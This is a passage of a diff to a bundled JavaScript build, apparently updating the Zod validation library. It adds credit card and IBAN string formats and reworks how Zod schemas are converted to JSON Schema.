+function snapshotChecks(def) { + if (def.checks) + def.checks = [...def.checks]; + return def; +} // @__NO_SIDE_EFFECTS__ function _string(Class2, params) { - return new Class2({ - type: "string", - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedString(Class2, params) { - return new Class2({ - type: "string", - coerce: true, - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", coerce: true, ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _email(Class2, params) { @@ -65352,6 +69527,26 @@ function _e164(Class2, params) { }); } // @__NO_SIDE_EFFECTS__ +function _creditCard(Class2, params) { + return new Class2({ + type: "string", + format: "credit_card", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _iban(Class2, params) { + return new Class2({ + type: "string", + format: "iban", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _jwt(Class2, params) { return new Class2({ type: "string", @@ -65410,20 +69605,11 @@ function _isoDuration(Class2, params) { } // @__NO_SIDE_EFFECTS__ function _number(Class2, params) { - return new Class2({ - type: "number", - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedNumber(Class2, params) { - return new Class2({ - type: "number", - coerce: true, - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", coerce: true, checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _int(Class2, params) { @@ -65765,6 +69951,14 @@ function _property(property, schema, params) { }); } // @__NO_SIDE_EFFECTS__ +function _properties(shape, params) { + return new $ZodCheckProperties({ + check: "properties", + shape, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _mime(types2, params) { return new $ZodCheckMimeType({ check: "mime_type", @@ -65781,23 +69975,23 @@ function _overwrite(tx) { } // @__NO_SIDE_EFFECTS__ function _normalize(form) { - return /* @__PURE__ */ _overwrite((input) => input.normalize(form)); + return /* @__PURE__ */ _overwrite((input2) => input2.normalize(form)); } // @__NO_SIDE_EFFECTS__ function _trim() { - return /* @__PURE__ */ _overwrite((input) => input.trim()); + return /* @__PURE__ */ _overwrite((input2) => input2.trim()); } // @__NO_SIDE_EFFECTS__ function _toLowerCase() { - return /* @__PURE__ */ _overwrite((input) => input.toLowerCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toLowerCase()); } // @__NO_SIDE_EFFECTS__ function _toUpperCase() { - return /* @__PURE__ */ _overwrite((input) => input.toUpperCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toUpperCase()); } // @__NO_SIDE_EFFECTS__ function _slugify() { - return /* @__PURE__ */ _overwrite((input) => slugify(input)); + return /* @__PURE__ */ _overwrite((input2) => slugify(input2)); } // @__NO_SIDE_EFFECTS__ function _array(Class2, element, params) { @@ -65964,7 +70158,7 @@ function _catch(Class2, innerType, catchValue) { return new Class2({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : constantCatch(catchValue) }); } // @__NO_SIDE_EFFECTS__ @@ -66037,7 +70231,8 @@ function _superRefine(fn, params) { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = ch); _issue.continue ?? (_issue.continue = !ch._zod.def.abort); payload.issues.push(issue(_issue)); @@ -66102,8 +70297,8 @@ function _stringbool(Classes, _params) { type: "pipe", in: stringSchema, out: booleanSchema, - transform: (input, payload) => { - let data = input; + transform: (input2, payload) => { + let data = input2; if (params.case !== "sensitive") data = data.toLowerCase(); if (truthySet.has(data)) { @@ -66122,8 +70317,8 @@ function _stringbool(Classes, _params) { return {}; } }, - reverseTransform: (input, _payload) => { - if (input === true) { + reverseTransform: (input2, _payload) => { + if (input2 === true) { return truthyArray[0] || "true"; } else { return falsyArray[0] || "false"; @@ -66131,13 +70326,15 @@ function _stringbool(Classes, _params) { }, error: params.error }); + codec2._zod.bag.truthy = truthyArray; + codec2._zod.bag.falsy = falsyArray; + codec2._zod.bag.case = params.case ?? "insensitive"; return codec2; } // @__NO_SIDE_EFFECTS__ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { const params = normalizeParams(_params); const def = { - ...normalizeParams(_params), check: "string_format", type: "string", format, @@ -66151,7 +70348,17 @@ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { return inst; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/to-json-schema.js +function assignProps(target, ...sources) { + for (const source of sources) { + for (const key of Reflect.ownKeys(source)) { + if (Object.prototype.propertyIsEnumerable.call(source, key)) { + assignProp(target, key, source[key]); + } + } + } + return target; +} function initializeContext(params) { let target = params?.target ?? "draft-2020-12"; if (target === "draft-4") @@ -66168,12 +70375,25 @@ function initializeContext(params) { io: params?.io ?? "output", counter: 0, seen: /* @__PURE__ */ new Map(), + sharedDefsExtractedFor: void 0, + sharedEmitDoneFor: void 0, cycles: params?.cycles ?? "ref", reused: params?.reused ?? "inline", + intersections: [], + deferred: [], external: params?.external ?? void 0 }; } -function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { +function handleUnrepresentable(schema, ctx, json3, params, message2) { + const result = typeof ctx.unrepresentable === "function" ? ctx.unrepresentable({ zodSchema: schema, path: params.path, message: message2 }) : ctx.unrepresentable; + if (result === "any") + return false; + if (result === void 0 || result === "throw") + throw new Error(message2); + Object.assign(json3, result); + return true; +} +function processSchema(schema, ctx, _params = { path: [], schemaPath: [] }) { var _a3; const def = schema._zod.def; const seen = ctx.seen.get(schema); @@ -66187,6 +70407,8 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { } const result = { schema: {}, count: 1, cycle: void 0, path: _params.path }; ctx.seen.set(schema, result); + ctx.sharedDefsExtractedFor = void 0; + ctx.sharedEmitDoneFor = void 0; const overrideSchema = schema._zod.toJSONSchema?.(); if (overrideSchema) { result.schema = overrideSchema; @@ -66210,13 +70432,13 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { if (parent) { if (!result.ref) result.ref = parent; - process2(parent, ctx, params); + processSchema(parent, ctx, params); ctx.seen.get(parent).isParent = true; } } const meta3 = ctx.metadataRegistry.get(schema); if (meta3) - Object.assign(result.schema, meta3); + assignProps(result.schema, meta3); if (ctx.io === "input" && isTransforming(schema)) { delete result.schema.examples; delete result.schema.default; @@ -66227,10 +70449,15 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { const _result = ctx.seen.get(schema); return _result.schema; } +function encodeJSONPointerSegment(segment) { + return segment.replace(/~/g, "~0").replace(/\//g, "~1"); +} function extractDefs(ctx, schema) { const root = ctx.seen.get(schema); if (!root) throw new Error("Unprocessed schema. This is a bug in Zod."); + if (ctx.external && ctx.sharedDefsExtractedFor === ctx.external) + return; const idToSchema = /* @__PURE__ */ new Map(); for (const entry of ctx.seen.entries()) { const id = ctx.metadataRegistry.get(entry[0])?.id; @@ -66252,15 +70479,15 @@ function extractDefs(ctx, schema) { } const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`; entry[1].defId = id; - return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${id}` }; - } - if (entry[1] === root) { - return { ref: "#" }; + return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${encodeJSONPointerSegment(id)}` }; } const uriPrefix = `#`; const defUriPrefix = `${uriPrefix}/${defsSegment}/`; + if (entry[1] === root && !entry[1].schema.id) { + return { ref: uriPrefix }; + } const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`; - return { defId, ref: defUriPrefix + defId }; + return { defId, ref: defUriPrefix + encodeJSONPointerSegment(defId) }; }; const extractToDef = (entry) => { if (entry[1].schema.$ref) { @@ -66312,10 +70539,119 @@ Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs. if (seen.count > 1) { if (ctx.reused === "ref") { extractToDef(entry); + } + } + } + if (ctx.external) + ctx.sharedDefsExtractedFor = ctx.external; +} +function compactTypeUnion(schema) { + const options = schema.anyOf; + if (!Array.isArray(options) || options.length === 0 || schema.type !== void 0) + return; + const types2 = []; + for (const option of options) { + if (!option || typeof option !== "object") + return; + compactTypeUnion(option); + const keys = Object.keys(option); + if (keys.length !== 1 || keys[0] !== "type") + return; + const type = option.type; + for (const member of Array.isArray(type) ? type : [type]) { + if (typeof member !== "string") + return; + if (!types2.includes(member)) + types2.push(member); + } + } + delete schema.anyOf; + schema.type = types2.length === 1 ? types2[0] : types2; +} +var FOLDABLE_KEYS = /* @__PURE__ */ new Set(["type", "properties", "required", "additionalProperties"]); +var UNION_KEYS = ["oneOf", "anyOf"]; +function undeclaredConstraint(member) { + const extra = member.additionalProperties; + if (extra === void 0 || extra === false || typeof extra !== "object" || extra === null) + return null; + return Object.keys(extra).length ? extra : null; +} +function foldObjects(members2) { + const objects = []; + for (const member of members2) { + if (typeof member !== "object" || member.type !== "object") + return null; + for (const key in member) { + if (!FOLDABLE_KEYS.has(key)) + return null; + } + objects.push(member); + } + const properties = {}; + const required2 = /* @__PURE__ */ new Set(); + for (const object2 of objects) { + for (const key in object2.properties) { + if (Object.prototype.hasOwnProperty.call(properties, key)) continue; + const parts = []; + for (const other of objects) { + const part = other.properties?.[key] ?? undeclaredConstraint(other); + if (part === null || part === void 0) + continue; + if (!parts.some((seen) => JSON.stringify(seen) === JSON.stringify(part))) + parts.push(part); } + const merged = parts.length === 1 ? parts[0] : foldObjects(parts) ?? { allOf: parts }; + assignProp(properties, key, merged); } + for (const key of object2.required ?? []) + required2.add(key); } + const folded = { type: "object", properties }; + if (required2.size) + folded.required = [...required2]; + if (objects.every((object2) => object2.additionalProperties === false)) { + folded.additionalProperties = false; + } else { + const constraints = []; + for (const object2 of objects) { + const constraint = undeclaredConstraint(object2); + if (constraint && !constraints.some((seen) => JSON.stringify(seen) === JSON.stringify(constraint))) + constraints.push(constraint); + } + if (constraints.length === 1) + folded.additionalProperties = constraints[0]; + else if (constraints.length > 1) + folded.additionalProperties = { allOf: constraints }; + } + return folded; +} +function foldIntersection(json3) { + const allOf = json3.allOf; + if (!Array.isArray(allOf) || allOf.length < 2) + return; + for (const key of FOLDABLE_KEYS) + if (key in json3) + return; + const unions = allOf.filter((m) => UNION_KEYS.some((k) => Array.isArray(m[k]))); + let folded = null; + if (!unions.length) { + folded = foldObjects(allOf); + } else { + const union3 = unions[0]; + const keyword = UNION_KEYS.find((k) => Array.isArray(union3[k])); + if (Object.keys(union3).length !== 1) + return; + const rest = allOf.filter((m) => m !== union3); + const branches = union3[keyword].map((branch) => foldObjects([...rest, branch])); + if (branches.some((b2) => !b2)) + return; + folded = { [keyword]: branches }; + } + if (!folded) + return; + delete json3.allOf; + assignProps(json3, folded); } function finalize(ctx, schema) { const root = ctx.seen.get(schema); @@ -66337,9 +70673,9 @@ function finalize(ctx, schema) { schema2.allOf = schema2.allOf ?? []; schema2.allOf.push(refSchema); } else { - Object.assign(schema2, refSchema); + assignProps(schema2, refSchema); } - Object.assign(schema2, _cached); + assignProps(schema2, _cached); const isParentRef = zodSchema._zod.parent === ref; if (isParentRef) { for (const key in schema2) { @@ -66383,8 +70719,36 @@ function finalize(ctx, schema) { path: seen.path ?? [] }); }; - for (const entry of [...ctx.seen.entries()].reverse()) { - flattenRef(entry[0]); + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of [...ctx.seen.entries()].reverse()) { + flattenRef(entry[0]); + } + if (ctx.target !== "openapi-3.0") { + for (const entry of ctx.seen.entries()) { + compactTypeUnion(entry[1].def ?? entry[1].schema); + } + } + for (const rewrite of ctx.deferred) + rewrite(); + if (ctx.intersections.length) { + const carriers = /* @__PURE__ */ new Map(); + for (const seen of ctx.seen.values()) { + for (const json3 of [seen.schema, seen.def]) { + const allOf = json3?.allOf; + if (!Array.isArray(allOf)) + continue; + const existing = carriers.get(allOf); + if (existing) + existing.push(json3); + else + carriers.set(allOf, [json3]); + } + } + for (const allOf of ctx.intersections) { + for (const json3 of carriers.get(allOf) ?? []) + foldIntersection(json3); + } + } } const result = {}; if (ctx.target === "draft-2020-12") { @@ -66402,19 +70766,23 @@ function finalize(ctx, schema) { throw new Error("Schema is missing an `id` property"); result.$id = ctx.external.uri(id); } - Object.assign(result, root.def ?? root.schema); + assignProps(result, root.defId ? root.schema : root.def ?? root.schema); const rootMetaId = ctx.metadataRegistry.get(schema)?.id; if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id; const defs = ctx.external?.defs ?? {}; - for (const entry of ctx.seen.entries()) { - const seen = entry[1]; - if (seen.def && seen.defId) { - if (seen.def.id === seen.defId) - delete seen.def.id; - defs[seen.defId] = seen.def; + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of ctx.seen.entries()) { + const seen = entry[1]; + if (seen.def && seen.defId) { + if (seen.def.id === seen.defId) + delete seen.def.id; + assignProp(defs, seen.defId, seen.def); + } } } + if (ctx.external) + ctx.sharedEmitDoneFor = ctx.external; if (ctx.external) { } else { if (Object.keys(defs).length > 0) { @@ -66457,7 +70825,7 @@ function isTransforming(_schema, _ctx) { return isTransforming(def.valueType, ctx); if (def.type === "lazy") return isTransforming(def.getter(), ctx); - if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault") { + if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault" || def.type === "catch") { return isTransforming(def.innerType, ctx); } if (def.type === "intersection") { @@ -66498,19 +70866,107 @@ function isTransforming(_schema, _ctx) { } var createToJSONSchemaMethod = (schema, processors = {}) => (params) => { const ctx = initializeContext({ ...params, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; var createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => { const { libraryOptions, target } = params ?? {}; const ctx = initializeContext({ ...libraryOptions ?? {}, target, io, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-processors.js +var narrowMin = (agg, key, value) => { + if (agg[key] === void 0 || value > agg[key]) + agg[key] = value; +}; +var narrowMax = (agg, key, value) => { + if (agg[key] === void 0 || value < agg[key]) + agg[key] = value; +}; +var narrowBoth = (agg, value) => { + narrowMin(agg, "minimum", value); + narrowMax(agg, "maximum", value); +}; +var addDivisor = (agg, value) => { + agg.multipleOf ?? (agg.multipleOf = []); + if (!agg.multipleOf.includes(value)) + agg.multipleOf.push(value); +}; +var addPattern = (agg, pattern) => { + agg.patterns ?? (agg.patterns = /* @__PURE__ */ new Set()); + agg.patterns.add(pattern); +}; +var intersectMime = (agg, mime) => { + agg.mime = agg.mime ? agg.mime.filter((m) => mime.includes(m)) : [...mime]; +}; +var setFormat = (agg, format) => { + agg.format = format; + if (format.includes("int")) + agg.isInt = true; +}; +var minContributor = (agg, def) => narrowMin(agg, "minimum", def.minimum); +var maxContributor = (agg, def) => narrowMax(agg, "maximum", def.maximum); +var formatContributor = (ranges) => (agg, def) => { + setFormat(agg, def.format); + const [minimum, maximum] = ranges[def.format]; + narrowMin(agg, "minimum", minimum); + narrowMax(agg, "maximum", maximum); +}; +var contributors = { + greater_than: (agg, def) => narrowMin(agg, def.inclusive ? "minimum" : "exclusiveMinimum", def.value), + less_than: (agg, def) => narrowMax(agg, def.inclusive ? "maximum" : "exclusiveMaximum", def.value), + multiple_of: (agg, def) => addDivisor(agg, def.value), + number_format: formatContributor(NUMBER_FORMAT_RANGES), + bigint_format: formatContributor(BIGINT_FORMAT_RANGES), + min_length: minContributor, + max_length: maxContributor, + length_equals: (agg, def) => narrowBoth(agg, def.length), + min_size: minContributor, + max_size: maxContributor, + size_equals: (agg, def) => narrowBoth(agg, def.size), + string_format: (agg, def) => { + setFormat(agg, def.format); + if (def.pattern) + addPattern(agg, def.pattern); + if (def.format === "base64" || def.format === "base64url") + agg.contentEncoding = def.format; + if (def.local || def.precision === -1) + agg.laxFormat = true; + }, + mime_type: (agg, def) => intersectMime(agg, def.mime) +}; +function aggregateChecks(schema) { + const agg = {}; + const def = schema._zod.def; + const list = schema._zod.traits.has("$ZodCheck") ? [schema, ...def.checks ?? []] : def.checks ?? []; + for (const ch of list) + contributors[ch._zod.def.check]?.(agg, ch._zod.def); + const bag = schema._zod.bag; + if (bag.minimum !== void 0) + narrowMin(agg, "minimum", bag.minimum); + if (bag.exclusiveMinimum !== void 0) + narrowMin(agg, "exclusiveMinimum", bag.exclusiveMinimum); + if (bag.maximum !== void 0) + narrowMax(agg, "maximum", bag.maximum); + if (bag.exclusiveMaximum !== void 0) + narrowMax(agg, "exclusiveMaximum", bag.exclusiveMaximum); + if (bag.multipleOf !== void 0) + addDivisor(agg, bag.multipleOf); + if (bag.format !== void 0) { + agg.format ?? (agg.format = bag.format); + if (bag.format.includes("int")) + agg.isInt = true; + } + if (bag.mime) + intersectMime(agg, bag.mime); + for (const pattern of bag.patterns ?? []) + addPattern(agg, pattern); + return agg; +} var formatMap = { guid: "uuid", url: "uri", @@ -66519,10 +70975,15 @@ var formatMap = { regex: "" // do not set }; +var exactPatterns = /* @__PURE__ */ new Map([ + [base64Charset, base64], + [base64urlCharset, base64url] +]); +var exactPattern = (p) => exactPatterns.get(p) ?? p; var stringProcessor = (schema, ctx, _json, _params) => { const json3 = _json; json3.type = "string"; - const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag; + const { minimum, maximum, format, patterns, contentEncoding, laxFormat } = aggregateChecks(schema); if (typeof minimum === "number") json3.minLength = minimum; if (typeof maximum === "number") @@ -66531,19 +70992,19 @@ var stringProcessor = (schema, ctx, _json, _params) => { json3.format = formatMap[format] ?? format; if (json3.format === "") delete json3.format; - if (format === "time") { + if (format === "time" || laxFormat) { delete json3.format; } } if (contentEncoding) json3.contentEncoding = contentEncoding; if (patterns && patterns.size > 0) { - const regexes = [...patterns]; - if (regexes.length === 1) - json3.pattern = regexes[0].source; - else if (regexes.length > 1) { + const patternList = [...patterns].map(exactPattern); + if (patternList.length === 1) + json3.pattern = patternList[0].source; + else if (patternList.length > 1) { json3.allOf = [ - ...regexes.map((regex) => ({ + ...patternList.map((regex) => ({ ...ctx.target === "draft-07" || ctx.target === "draft-04" || ctx.target === "openapi-3.0" ? { type: "string" } : {}, pattern: regex.source })) @@ -66551,13 +71012,10 @@ var stringProcessor = (schema, ctx, _json, _params) => { } } }; -var numberProcessor = (schema, ctx, _json, _params) => { +var numberProcessor = (schema, ctx, _json, params) => { const json3 = _json; - const { minimum, maximum, format, multipleOf, exclusiveMaximum, exclusiveMinimum } = schema._zod.bag; - if (typeof format === "string" && format.includes("int")) - json3.type = "integer"; - else - json3.type = "number"; + const { minimum, maximum, multipleOf, exclusiveMaximum, exclusiveMinimum, isInt } = aggregateChecks(schema); + json3.type = isInt ? "integer" : "number"; const exMin = typeof exclusiveMinimum === "number" && exclusiveMinimum >= (minimum ?? Number.NEGATIVE_INFINITY); const exMax = typeof exclusiveMaximum === "number" && exclusiveMaximum <= (maximum ?? Number.POSITIVE_INFINITY); const legacy = ctx.target === "draft-04" || ctx.target === "openapi-3.0"; @@ -66581,21 +71039,29 @@ var numberProcessor = (schema, ctx, _json, _params) => { } else if (typeof maximum === "number") { json3.maximum = maximum; } - if (typeof multipleOf === "number") - json3.multipleOf = multipleOf; + if (multipleOf) { + const divisors = /* @__PURE__ */ new Set(); + for (const divisor of multipleOf) { + if (Number.isFinite(divisor) && divisor !== 0) + divisors.add(Math.abs(divisor)); + else + handleUnrepresentable(schema, ctx, json3, params, `A multipleOf divisor of ${divisor} cannot be represented in JSON Schema`); + } + const [first, ...rest] = divisors; + if (first !== void 0) + json3.multipleOf = first; + if (rest.length) + json3.allOf = [...json3.allOf ?? [], ...rest.map((m) => ({ multipleOf: m }))]; + } }; var booleanProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var bigintProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt cannot be represented in JSON Schema"); - } +var bigintProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "BigInt cannot be represented in JSON Schema"); }; -var symbolProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Symbols cannot be represented in JSON Schema"); - } +var symbolProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Symbols cannot be represented in JSON Schema"); }; var nullProcessor = (_schema, ctx, json3, _params) => { if (ctx.target === "openapi-3.0") { @@ -66606,15 +71072,11 @@ var nullProcessor = (_schema, ctx, json3, _params) => { json3.type = "null"; } }; -var undefinedProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Undefined cannot be represented in JSON Schema"); - } +var undefinedProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Undefined cannot be represented in JSON Schema"); }; -var voidProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Void cannot be represented in JSON Schema"); - } +var voidProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Void cannot be represented in JSON Schema"); }; var neverProcessor = (_schema, _ctx, json3, _params) => { json3.not = {}; @@ -66623,35 +71085,37 @@ var anyProcessor = (_schema, _ctx, _json, _params) => { }; var unknownProcessor = (_schema, _ctx, _json, _params) => { }; -var dateProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Date cannot be represented in JSON Schema"); - } +var dateProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Date cannot be represented in JSON Schema"); }; var enumProcessor = (schema, _ctx, json3, _params) => { const def = schema._zod.def; const values2 = getEnumValues(def.entries); + if (values2.length === 0) { + json3.not = {}; + return; + } if (values2.every((v) => typeof v === "number")) json3.type = "number"; if (values2.every((v) => typeof v === "string")) json3.type = "string"; json3.enum = values2; }; -var literalProcessor = (schema, ctx, json3, _params) => { +var literalProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; + if (def.values.length === 0) { + json3.not = {}; + return; + } const vals = []; for (const val of def.values) { if (val === void 0) { - if (ctx.unrepresentable === "throw") { - throw new Error("Literal `undefined` cannot be represented in JSON Schema"); - } else { - } + if (handleUnrepresentable(schema, ctx, json3, params, "Literal `undefined` cannot be represented in JSON Schema")) + return; } else if (typeof val === "bigint") { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt literals cannot be represented in JSON Schema"); - } else { - vals.push(Number(val)); - } + if (handleUnrepresentable(schema, ctx, json3, params, "BigInt literals cannot be represented in JSON Schema")) + return; + vals.push(Number(val)); } else { vals.push(val); } @@ -66677,10 +71141,8 @@ var literalProcessor = (schema, ctx, json3, _params) => { json3.enum = vals; } }; -var nanProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("NaN cannot be represented in JSON Schema"); - } +var nanProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "NaN cannot be represented in JSON Schema"); }; var templateLiteralProcessor = (schema, _ctx, json3, _params) => { const _json = json3; @@ -66692,93 +71154,90 @@ var templateLiteralProcessor = (schema, _ctx, json3, _params) => { }; var fileProcessor = (schema, _ctx, json3, _params) => { const _json = json3; - const file2 = { - type: "string", - format: "binary", - contentEncoding: "binary" - }; - const { minimum, maximum, mime } = schema._zod.bag; + _json.type = "string"; + _json.format = "binary"; + _json.contentEncoding = "binary"; + const { minimum, maximum, mime } = aggregateChecks(schema); if (minimum !== void 0) - file2.minLength = minimum; + _json.minLength = minimum; if (maximum !== void 0) - file2.maxLength = maximum; - if (mime) { - if (mime.length === 1) { - file2.contentMediaType = mime[0]; - Object.assign(_json, file2); - } else { - Object.assign(_json, file2); - _json.anyOf = mime.map((m) => ({ contentMediaType: m })); - } - } else { - Object.assign(_json, file2); - } + _json.maxLength = maximum; + if (!mime) + return; + if (mime.length === 0) + _json.not = {}; + else if (mime.length === 1) + _json.contentMediaType = mime[0]; + else + _json.anyOf = mime.map((m) => ({ contentMediaType: m })); }; var successProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var customProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Custom types cannot be represented in JSON Schema"); - } +var customProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Custom types cannot be represented in JSON Schema"); }; -var functionProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Function types cannot be represented in JSON Schema"); - } +var functionProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Function types cannot be represented in JSON Schema"); }; -var transformProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Transforms cannot be represented in JSON Schema"); - } +var transformProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Transforms cannot be represented in JSON Schema"); }; -var mapProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Map cannot be represented in JSON Schema"); - } +var mapProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Map cannot be represented in JSON Schema"); }; -var setProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Set cannot be represented in JSON Schema"); - } +var setProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Set cannot be represented in JSON Schema"); }; var arrayProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; json3.type = "array"; - json3.items = process2(def.element, ctx, { + json3.items = processSchema(def.element, ctx, { ...params, path: [...params.path, "items"] }); }; +function inputOptin(schema) { + const def = schema._zod.def; + if (def.type === "pipe" && def.in._zod.traits.has("$ZodTransform")) { + return inputOptin(def.out); + } + if (def.type === "catch") { + return inputOptin(def.innerType); + } + return schema._zod.optin; +} var objectProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; + const shape = def.shape; + const symbolKeys = Object.getOwnPropertySymbols(shape); + if (symbolKeys.length && handleUnrepresentable(schema, ctx, json3, params, "Symbol keys cannot be represented in JSON Schema")) { + return; + } json3.type = "object"; json3.properties = {}; - const shape = def.shape; for (const key in shape) { - json3.properties[key] = process2(shape[key], ctx, { + assignProp(json3.properties, key, processSchema(shape[key], ctx, { ...params, path: [...params.path, "properties", key] - }); + })); } - const allKeys = new Set(Object.keys(shape)); - const requiredKeys = new Set([...allKeys].filter((key) => { - const v = def.shape[key]._zod; - if (ctx.io === "input") { - return v.optin === void 0; - } else { - return v.optout === void 0; + const requiredKeys = []; + for (const key of Object.keys(shape)) { + const field = def.shape[key]; + if (ctx.io === "input" ? inputOptin(field) === void 0 : field._zod.optout === void 0) { + requiredKeys.push(key); } - })); - if (requiredKeys.size > 0) { - json3.required = Array.from(requiredKeys); + } + if (requiredKeys.length > 0) { + json3.required = requiredKeys; } if (def.catchall?._zod.def.type === "never") { json3.additionalProperties = false; @@ -66786,7 +71245,7 @@ var objectProcessor = (schema, ctx, _json, params) => { if (ctx.io === "output") json3.additionalProperties = false; } else if (def.catchall) { - json3.additionalProperties = process2(def.catchall, ctx, { + json3.additionalProperties = processSchema(def.catchall, ctx, { ...params, path: [...params.path, "additionalProperties"] }); @@ -66795,7 +71254,7 @@ var objectProcessor = (schema, ctx, _json, params) => { var unionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; const isExclusive = def.inclusive === false; - const options = def.options.map((x, i) => process2(x, ctx, { + const options = def.options.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, isExclusive ? "oneOf" : "anyOf", i] })); @@ -66807,11 +71266,11 @@ var unionProcessor = (schema, ctx, json3, params) => { }; var intersectionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const a = process2(def.left, ctx, { + const a = processSchema(def.left, ctx, { ...params, path: [...params.path, "allOf", 0] }); - const b2 = process2(def.right, ctx, { + const b2 = processSchema(def.right, ctx, { ...params, path: [...params.path, "allOf", 1] }); @@ -66821,6 +71280,7 @@ var intersectionProcessor = (schema, ctx, json3, params) => { ...isSimpleIntersection(b2) ? b2.allOf : [b2] ]; json3.allOf = allOf; + ctx.intersections.push(allOf); }; var tupleProcessor = (schema, ctx, _json, params) => { const json3 = _json; @@ -66828,19 +71288,35 @@ var tupleProcessor = (schema, ctx, _json, params) => { json3.type = "array"; const prefixPath = ctx.target === "draft-2020-12" ? "prefixItems" : "items"; const restPath = ctx.target === "draft-2020-12" ? "items" : ctx.target === "openapi-3.0" ? "items" : "additionalItems"; - const prefixItems = def.items.map((x, i) => process2(x, ctx, { + const prefixItems = def.items.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, prefixPath, i] })); - const rest = def.rest ? process2(def.rest, ctx, { + const rest = def.rest 